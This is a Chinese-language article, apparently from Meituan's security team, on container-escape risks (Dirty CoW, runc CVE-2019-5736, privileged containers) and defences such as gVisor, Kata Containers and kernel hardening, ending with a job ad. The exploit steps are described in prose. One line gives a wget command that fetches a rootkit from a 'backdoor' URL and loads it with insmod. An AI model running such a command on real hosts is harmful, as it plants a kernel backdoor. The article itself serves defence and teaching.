天天看點

雲原生之容器安全實踐

雲原生之容器安全實踐

總第384篇

2020年 第7篇

雲原生之容器安全實踐

随着越來越多的企業開始上“雲”,開始容器化,雲安全問題已經成為企業防護的重中之重。

今天的文章來自美團資訊安全團隊,他們從雲原生的代表技術開始入手,以容器逃逸為切入點,從攻擊者角度(容器逃逸)到防禦者角度(緩解容器逃逸)來闡述美團在容器安全層面所進行的一些探索和實踐。

概述

雲原生(Cloud Native)是一套技術體系和方法論,它由2個詞組成,雲(Cloud)和原生(Native)。雲(Cloud)表示應用程式位于雲中,而不是傳統的資料中心;原生(Native)表示應用程式從設計之初即考慮到雲的環境,原生為雲而設計,在雲上以最佳狀态運作,充分利用和發揮雲平台的彈性和分布式優勢。

雲原生的代表技術包括容器、服務網格(Service Mesh)、微服務(Microservice)、不可變基礎設施和聲明式API。更多對于雲原生的介紹請參考CNCF/Foundation。

雲原生之容器安全實踐

圖1 雲原生安全技術沙盤(Security View)

筆者将“雲原生安全”抽象成如上圖所示的技術沙盤。自底向上看,底層從硬體安全(可信環境)到主控端安全 。将容器編排技術(Kubernetes等)看作雲上的“作業系統”,它負責自動化部署、擴縮容、管理應用等。在它之上由微服務、Service Mesh、容器技術(Docker等)、容器鏡像(倉庫)組成。它們之間相輔相成,以這些技術為基礎建構雲原生安全。

我們再對容器安全做一層抽象,又可以看作建構時安全(Build)、部署時安全(Deployment)、運作時安全(Runtime)。

在美團内部,鏡像安全由容器鏡像分析平台保障。它以規則引擎的形式營運監管容器鏡像,預設規則支援對鏡像中Dockerfile、可疑檔案、敏感權限、敏感端口、基礎軟體漏洞、業務軟體漏洞以及CIS和NIST的最佳實踐做檢查,并提供風險趨勢分析,同時它確定部分建構時安全。

容器在雲原生架構下由容器編排技術(例如Kubernetes)負責部署,部署安全同時也與上文提及的容器編排安全有交集。

運作安全管控交由HIDS負責(可參考《保障IDC安全:分布式HIDS叢集架構設計》一文)。本文所讨論的範疇也屬于運作安全之一,主要解決以容器逃逸為模型建構的風險(在本文中,若無特殊說明,容器指代Docker)。

對于安全實施準則,我們将其分為三個階段:

  • 攻擊前:裁剪攻擊面,減少對外暴露的攻擊面(本文涉及的場景關鍵詞:隔離);
  • 攻擊時:降低攻擊成功率(本文涉及的場景關鍵詞:加強);
  • 攻擊後:減少攻擊成功後攻擊者所能擷取的有價值的資訊、資料以及增加留後門的難度等。

近些年,資料中心的基礎架構逐漸從傳統的虛拟化(例如KVM+QEMU架構)轉向容器化(Kubernetes+Docker架構),但“逃逸”始終都是企業要在這2種架構下所面對的最嚴峻的安全問題,同時它也是容器風險中最具代表性的安全問題。筆者将以容器逃逸為切入點,從攻擊者角度(容器逃逸)到防禦者角度(緩解容器逃逸)來闡述容器安全的實踐,進而緩解容器風險。

容器風險

容器提供了将應用程式的代碼、配置、依賴項打包到單個對象的标準方法。容器建立在兩項關鍵技術之上:Linux Namespace和Linux Cgroups。

Namespace建立一個近乎隔離的使用者空間,并為應用程式提供系統資源(檔案系統、網絡棧、程序和使用者ID)。Cgroup強制限制硬體資源,如CPU、記憶體、裝置和網絡等。

容器和VM不同之處在于,VM模拟硬體系統,每個VM都可以在獨立環境中運作OS。管理程式模拟CPU、記憶體、存儲、網絡資源等,這些硬體可由多個VM共享多次。

雲原生之容器安全實踐

圖2 容器攻擊面(Container Attack Surface)

容器一共有7個攻擊面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。

筆者以容器逃逸為風險模型,提煉出3個攻擊面:

  1. Linux核心漏洞;
  2. 容器自身;
  3. 不安全部署(配置)。

1. Linux核心漏洞

容器的核心與宿主核心共享,使用Namespace與Cgroups這兩項技術,使容器内的資源與主控端隔離,是以Linux核心産生的漏洞能導緻容器逃逸。

核心提權VS容器逃逸

通用Linux核心提權方法論

  • 資訊收集:收集一切對寫exploit有幫助的資訊。如:核心版本,需要确定攻擊的核心是什麼版本?這個核心版本開啟了哪些加強配置?還需知道在寫shellcode的時候會調用哪些核心函數?這時候就需要查詢核心符号表,得到函數位址。還可從核心中得到一些對編寫利用有幫助的位址資訊、結構資訊等等。
  • 觸發階段:觸發相關漏洞,控制RIP,劫持核心代碼路徑,簡而言之,擷取在核心中任意執行代碼的能力。
  • 布置shellcode:在編寫核心exploit代碼的時候,需要找到一塊記憶體來存放我們的shellcode 。這塊記憶體至少得滿足兩個條件:
    • 第一:在觸發漏洞時,我們要劫持代碼路徑,必須保證代碼路徑可以到達存放shellcode的記憶體。
    • 第二:這塊記憶體是可以被執行的,換句話說,存放shellcode的這塊記憶體具有可執行權限。
  • 執行階段
    • 第一:擷取高于目前使用者的權限,一般我們都是直接擷取root權限,畢竟它是Linux中的最高權限,也就是執行我們的shellcode。
    • 第二:保證核心穩定,不能因為我們需要提權而破壞原來核心的代碼路徑、核心結構、核心資料等等,而導緻核心崩潰。這樣的話,即使得到root權限也沒有太大的意義。

簡而言之,收集對編寫exploit有幫助的資訊,然後觸發漏洞去執行特權代碼,達到提權的效果。

雲原生之容器安全實踐

圖3 容器逃逸簡易模型(Container Escape Model)

容器逃逸和核心提權隻有細微的差别,需要突破namespace的限制。将高權限的namespace賦到exploit程序的task_struct中。這部分的詳細技術細節不在本文讨論範圍内,筆者未來會抽空再寫一篇關于容器逃逸的技術文章,詳細介紹該相關技術的細節。

經典的Dirty CoW

筆者以Dirty CoW漏洞來說明Linux漏洞導緻的容器逃逸。漏洞雖老,奈何太過經典。寫到這,筆者不禁想問:多年過去,目前國内外各大廠,Dirty Cow漏洞的存量機器修複率是多少?

在Linux核心的記憶體子系統處理私有隻讀記憶體映射的寫時複制(Copy-on-Write,CoW)機制的方式中發現了一個競争沖突。一個沒有特權的本地使用者,可能會利用此漏洞獲得對其他情況下隻讀記憶體映射的寫通路權限,進而增加他們在系統上的特權,這就是知名的Dirty CoW漏洞。

Dirty CoW漏洞的逃逸的實作思路和上述的思路不太一樣,采取Overwrite vDSO技術。

vDSO(Virtual Dynamic Shared Object)是核心為了減少核心與使用者空間頻繁切換,提高系統調用效率而設計的機制。它同時映射在核心空間以及每一個程序的虛拟記憶體中,包括那些以root權限運作的程序。通過調用那些不需要上下文切換(context switching)的系統調用可以加快這一步驟(定位vDSO)。vDSO在使用者空間(userspace)映射為R/X,而在核心空間(kernelspace)則為R/W。這允許我們在核心空間修改它,接着在使用者空間執行。又因為容器與主控端核心共享,是以可以直接使用這項技術逃逸容器。

利用步驟如下:

  1. 擷取vDSO位址,在新版的glibc中可以直接調用getauxval()函數擷取;
  2. 通過vDSO位址找到clock_gettime()函數位址,檢查是否可以hijack;
  3. 建立監聽socket;
  4. 觸發漏洞,Dirty CoW是由于核心記憶體管理系統實作CoW時産生的漏洞。通過條件競争,把握好在恰當的時機,利用CoW的特性可以将檔案的read-only映射該為write。子程序不停地檢查是否成功寫入。父程序建立二個線程,ptrace_thread線程向vDSO寫入shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過程,産生條件競争,當條件觸發就能寫入成功。
  5. 執行shellcode,等待從主控端傳回root shell,成功後恢複vDSO原始資料。

2. 容器自身

我們先簡單的看一下Docker的架構圖:

雲原生之容器安全實踐

圖4 Docker架構圖

Docker本身由Docker(Docker Client)和Dockerd(Docker Daemon)組成。但從Docker 1.11開始,Docker不再是簡單的通過Docker Dameon來啟動,而是內建許多元件,包括containerd、runc等等。

Docker Client是Docker的用戶端程式,用于将使用者請求發送給Dockerd。Dockerd實際調用的是containerd的API接口,containerd是Dockerd和runc之間的一個中間交流元件,主要負責容器運作、鏡像管理等。containerd向上為Dockerd提供了gRPC接口,使得Dockerd屏蔽下面的結構變化,確定原有接口向下相容;向下,通過containerd-shim與runc結合建立及運作容器。更多的相關内容,請參考文末連結runc、containerd、architecture。了解清楚這些之後,我們就可以結合自身的安全經驗,從這些元件互相間的通信方式、依賴關系等尋找能導緻逃逸的漏洞。

下面我們以Docker中的runc元件所産生的漏洞來說明因容器自身的漏洞而導緻的逃逸。

CVE-2019-5736:runc - container breakout vulnerability

runc在使用檔案系統描述符時存在漏洞,該漏洞可導緻特權容器被利用,造成容器逃逸以及通路主控端檔案系統;攻擊者也可以使用惡意鏡像,或修改運作中的容器内的配置來利用此漏洞。

  • 攻擊方式1:(該途徑需要特權容器)運作中的容器被入侵,系統檔案被惡意篡改 ==> 主控端運作docker exec指令,在該容器中建立新程序 ==> 主控端runc被替換為惡意程式 ==> 主控端執行docker run/exec 指令時觸發執行惡意程式;
  • 攻擊方式2:(該途徑無需特權容器)docker run指令啟動了被惡意修改的鏡像 ==> 主控端runc被替換為惡意程式 ==> 主控端運作docker run/exec指令時觸發執行惡意程式。

當runc在容器内執行新的程式時,攻擊者可以欺騙它執行惡意程式。通過使用自定義二進制檔案替換容器内的目标二進制檔案來實作指回runc二進制檔案。

如果目标二進制檔案是/bin/bash,可以用指定解釋器的可執行腳本替換#!/proc/self/exe。是以,在容器内執行/bin/bash,/proc/self/exe的目标将被執行,将目标指向runc二進制檔案。

然後攻擊者可以繼續寫入/proc/self/exe目标,嘗試覆寫主機上的runc二進制檔案。這裡需要使用O_PATH flag打開/proc/self/exe檔案描述符,然後以O_WRONLY flag 通過/proc/self/fd/重新打開二進制檔案,并且用單獨的一個程序不停地寫入。當寫入成功時,runc會退出。

3. 不安全部署(配置)

在實際中,我們經常會遇到這種狀況:不同的業務會根據自身業務需求提供一套自己的配置,而這套配置并未得到有效的管控審計,使得内部環境變得複雜多樣,無形之中又增加了很多風險點。最常見的包括:

  • 特權容器或者以root權限運作容器;
  • 不合理的Capability配置(權限過大的Capability)。

面對特權容器,在容器内簡單地執行一下指令,就可以輕松地在主控端上留下後門:

$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko
           

目前在美團内部,我們已經有效地收斂了特權容器問題。

這部分業界已經給出了最佳實踐,從主控端配置、Dockerd配置、容器鏡像、Dockerfile、容器運作時等方面保障了安全,更多細節請參考Benchmark/Docker。同時Docker官方已經将其實作成自動化工具(gVisor)。

安全實踐

為解決上述部分所闡述的容器逃逸問題,下文将重點從隔離(安全容器)與加強(安全核心)兩個角度來進行讨論。

安全容器

安全容器的技術本質就是隔離。gVisor和Kata Container是比較具有代表性的實作方式,目前學術界也在探索基于Intel SGX的安全容器。

簡單地說,gVisor是在使用者态和核心态之間抽象出一層,封裝成API,有點像user-mode kernel,以此實作隔離。Kata Container采用了輕量級的虛拟機隔離,與傳統的VM比較類似,但是它實作了無縫內建目前的Kubernetes加Docker架構。我們接着來看gVisor與Kata Container的異同。

Case 1: gVisor

gVisor是用Golang編寫的使用者态核心,或者說是沙箱技術,它主要實作了大部分的system call。它運作在應用程式和核心之間,為它們提供隔離。gVisor被使用在Google雲計算平台的App Engine、Cloud Functions和Cloud ML中。gVisor運作時,是由多個沙箱組成,這些沙箱程序共同覆寫了一個或多個容器。通過攔截從應用程式到主機核心的所有系統調用,并使用使用者空間中的Sentry處理它們,gVisor充當guest kernel的角色,且無需通過虛拟化硬體轉換,可以将它看做vmm與guest kernel的集合,或是seccomp的增強版。

雲原生之容器安全實踐

圖5 gVisor架構圖 

Case 2: Kata Container

Kata Container的Container Runtime是用hypervisor ,然後用hardware virtualization實作,如同虛拟機。是以每一個像這樣的Kata Container的Pod,都是一個輕量級虛拟機,它擁有完整的Linux核心。是以Kata Container與VM一樣能提供強隔離性,但由于它的優化和性能設計,同時也擁有與容器相媲美的靈活性。

雲原生之容器安全實踐

圖6 Kata Container 架構圖(圖檔來自Katacontainers.io)

Kata Container在主機上有一個kata-runtime來啟動和配置新容器。對于Kata VM中的每個容器,主機上都有相應的Kata Shim。Kata Shim接收來自用戶端的API請求(例如Docker或kubectl),并通過VSock将請求轉發給Kata VM内的代理。Kata容器進一步優化以減少VM啟動時間。使用QEMU的輕量級版本NEMU,删除了約80%的裝置和包。VM-Templating建立運作Kata VM執行個體的克隆,并與其他新建立的Kata VM共享,這樣減少了啟動時間和Guest VM記憶體消耗。Hotplug功能允許VM使用最少的資源(例如CPU、記憶體、virtio塊)進行引導,并在以後請求時添加其他資源。

gVisor VS Kata Container

雲原生之容器安全實踐

在兩者之間,筆者更願選擇gVisor,因為gVisor設計上比Kata Container更加的“輕”量級,但gVisor的性能問題始終是一道暫時無法逾越的“天塹”。綜合二者的優劣,Kata Container目前更适合企業内部。總體而言,安全容器技術還需做諸多探索,以解決不同企業内部基礎架構上面臨的各種挑戰。

安全核心

衆所周知,Android由于其開源特性,不同廠商都維護着自己的Android版本。因為Android核心态代碼來自于Linux kernel upstrem,當一個漏洞産生在upstrem核心,安全更新檔推送到Google,再從Google下發到各大廠商,最終到終端使用者。由于Android生态的碎片化,更新檔周期非常之長,使得終端使用者的安全,在這過程中始終處于“空窗期”。當我們把目光重新焦距在Linux上,它也同樣存在類似的問題。

核心面臨的問題

雲原生之容器安全實踐

圖7 漏洞生命周期(The Vulnerability Life Cycle)

核心更新檔

當一個安全漏洞被披露,通常是由漏洞發現者通過Redhat、OpenSuse、Debian等社群回報或直接送出至上遊相關子系統maintainer。在企業内部面臨多個不同核心大版本、核心定制化,針對不同版本從上遊代碼backport相關更新檔及制作相關熱更新檔,定制核心還需對更新檔進行二次開發,再更新生産環境核心或Hotfix核心。不僅修複周期過長,而且在修複過程中,人員溝通也存在一定的成本,也拉長了漏洞危險期。在危險期間,我們對于漏洞基本是毫無防護能力的。

核心版本碎片化

核心版本碎片化在任意具備一定規模的公司都是無法避免的問題。随着技術的日新月異,不斷疊代,基礎架構上的技術棧需要較新版本的核心功能去支援,久而久之就産生核心版本的碎片化。碎片化問題的存在,使得在安全更新檔的推送方面,遭遇了很大的挑戰。本身更新檔還需要做針對性的适配,包括不同版本的核心,并進行測試驗證,碎片化使得維護成本也變得十分高昂。最重要的是,由于維護工作量大,必然拉長了測試更新檔的時間線。也就是說,暴露在攻擊者面前的危險期變得更長,被攻擊的可能性也大大增加。

核心版本定制化

同樣,因不同公司的基礎架構不同、需求不同,導緻的定制化核心問題。對于定制化核心,無法簡單的通過從上遊核心合并更新檔,還需對更新檔做一些本地化來适配定制化核心。這又拉長了危險期。

解決之道

我們使用安全特性去針對某一類漏洞或是針對某一類利用方式做防禦與檢測。比如SLAB_FREELIST_HARDENED,針對Double Free類型漏洞做實時檢測,且防禦overwrite freelist連結清單,性能損耗僅0.07%(參考upstrem核心源碼,commit id: 2482ddec)。

當完成所有全部的安全特性,漏洞在被回報之前和漏洞更新檔被及時推送至生産環境前,都無需關心漏洞的細節,就能防禦。當然,安全更新檔該打還是得打,這裡我們主要解決在安全更新檔最終落在生産環境過程中,“空窗期”對于漏洞與利用毫無防禦能力的問題,同時也可以對0day有一定的檢測及防禦能力。

實施政策

  1. 已經合并進Linux主線版本的安全特性,如果公司的核心支援該特性,選擇開啟配置,對開啟前後核心做性能測試,分析安全特性原理、行業資料,給出Real World攻擊案例(自己寫exploit去證明),将報告結論回報給核心團隊。核心團隊再做評估,結合安全團隊與核心團隊雙方意見,最終評估落地。
  2. 已經合并進Linux主線版本但未被合并進Redhat的安全特性,可選擇從Linux核心主線版本中移植,這點上代碼品質上得到了保障,同時社群也做了性能測試,将其合并到公司的核心再做複測。
  3. 未被合并進Linux核心主線版本,從Grsecurity/PaX中做移植,在Grsecurity/PaX的諸多安全特性中,評估選擇,選取代碼改動少的,收益高的安全特性優先移植。比如改動較少的核心代碼又能有效解決某一類的漏洞,再打個比方,Dirty Cow的全量修複可能需要花費1-2年的時間,如果加了某個安全特性,即使未修複也能防禦。

核心後話

最後,分享一下筆者眼中較為理想中的狀況。當然,我們得根據實際情況“因地制宜”,在不同階段做出不同的取舍與選擇。

  • 将核心團隊看成社群,我們向他們送出代碼,如同Linux核心社群有RFC(Request for Comment)、Patch Review等,無争議後合并進公司核心。
  • 先挑選實用的安全特性且代碼量少的,去移植,去實作,并落地。代碼量少意味着對核心代碼改動少,出問題的可能性越小,穩定性越高,性能損耗越低。
  • 一年完成幾個安全特性,不需要多,1~2個即可,對于核心态的加強,慎重慎重再慎重,譬如國外G家公司資料中心的核心發版前大概需要6~7個月時間做性能、穩定性測試。
  • 需要做到加強某個安全特性後,使用0day或Nday去驗證防禦效果,且基于該核心跑業務是穩定,性能損耗在可接受範圍之内或者可控。每個安全特性需要技術評審。為保障代碼品質的問題,找實際的高吞吐以及高并發低延遲的伺服器小範圍灰階測試,無争議後,再推送給核心團隊。
  • 最後,我們還可以通過将安全特性的代碼直接送出給Linux核心社群,如果代碼有不足的地方也可以和社群協同解決,合并進Linux核心主線代碼,進而側面推動落地。

作者簡介

Pray3r,負責美團内部作業系統安全、雲原生安全、重大高危漏洞應急響應,長期專注于Linux核心安全及開源軟體安全。

參考文獻

  • CNCF/Foundation
  • 保障IDC安全:分布式HIDS叢集架構設計
  • Dirty Cow
  • runc
  • containerd
  • Docker/Containerd/Architecture
  • OSS-Security
  • Frichetten/CVE-2019-5736-PoC
  • Docker
  • Benchmark/Docker/
  • gVisor.dev
  • Container Isolation at Scale
  • Kata-Containers/Documentation
  • Kernel
  • Redhat
  • Namespaces in operation, part 1: namespaces overview
  • Control groups series by Neil Brown
  • Container-Security
  • Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon
  • A Short Story: Bypass SMEP on Linu

----------  END  ----------

招聘資訊

美團-資訊安全部招聘:雲原生安全工程師/專家

崗位職責:

  1. 雲原生(微服務、Service Mesh、容器技術、容器編排技術)安全研究及轉化落地;
  2. 對雲原生安全有獨到見解,能給業務方提供技術支援。

崗位要求:

  1. 熟悉Docker、Kubernetes等雲原生技術及其原理,熟悉相關主流的最佳安全實踐;
  2. 熟悉Linux作業系統,對作業系統、虛拟化等底層技術有一定了解;
  3. 熟悉使用C/Python/Golang其中一門語言;
  4. 熟悉業界安全攻防動态,追蹤最新安全漏洞,能夠分析漏洞原理和實作POC編寫;
  5. 有良好的溝通和團隊協作能力,能夠推動業務落地相關的安全要求和解決方案;
  6. 良好的英文閱讀能力。

加分項:

  1. 熟悉Linux核心;
  2. 熟悉開源社群;
  3. 在滲透測試,漏洞挖掘,代碼審計等安全領域至少有一個方面能力突出;
  4. 發表過有深度的技術Paper或獨立挖掘過知名開源應用/大型廠商高危漏洞經曆。

如有意向,請發送履歷:[email protected](備注:雲安全)

也許你還想看

鐐铐之舞:美團安全工程師Black Hat USA演講

繼續閱讀